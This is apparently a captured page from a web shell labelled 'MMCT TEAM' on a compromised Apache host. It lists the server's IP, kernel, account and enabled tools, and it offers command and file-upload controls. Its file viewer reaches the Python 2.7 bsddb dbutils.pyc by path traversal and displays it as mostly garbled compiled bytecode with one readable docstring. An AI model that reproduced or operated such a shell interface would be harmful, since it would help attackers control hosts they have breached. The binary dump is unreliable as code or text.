MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.12.148.180
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /../sys/../lib64/libproxy/../python2.7/bsddb/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../sys/../lib64/libproxy/../python2.7/bsddb/dbutils.pyc
�
o��fc@soddlmZddlZejddkZer@ddUnddlZddZdZdZ
d	�ZdS(
i����(tsleepNiisfrom . import dbg�?i�gn��!	@cOs�t}|jdd�}d|kr.|d=nx�tr�y|||�SWq1tjk
r�trutjd|�nt|�|d9}|tkr�t}n|d8}|dkr��q�q1Xq1WdS(s?DeadlockWrap(function, *_args, **_kwargs) - automatically retries
    function in case of a database deadlock.

    This is a function intended to be used to wrap database calls such
    that they perform retrys with exponentially backing off sleeps in
    between when a DBLockDeadlockError exception is raised.

    A 'max_retries' parameter may optionally be passed to prevent it
    from retrying forever (in which case the exception will be reraised).

        d = DB(...)
        d.open(...)
        DeadlockWrap(d.put, "foo", data="bar")  # set key "foo" to "bar"
    tmax_retriesi����s%dbutils.DeadlockWrap: sleeping %1.3f
iiN(	t_deadlock_MinSleepTimetgettTruetdbtDBLockDeadlockErrort_deadlock_VerboseFiletwritet_sleept_deadlock_MaxSleepTime(tfunctiont_argst_kwargst	sleeptimeR((s%/usr/lib64/python2.7/bsddb/dbutils.pytDeadlockWrap/s$
	

	
(ttimeRR	tsystversion_infotabsolute_importRRR
tNoneRR(((s%/usr/lib64/python2.7/bsddb/dbutils.pyt<module>s


MMCT - 2023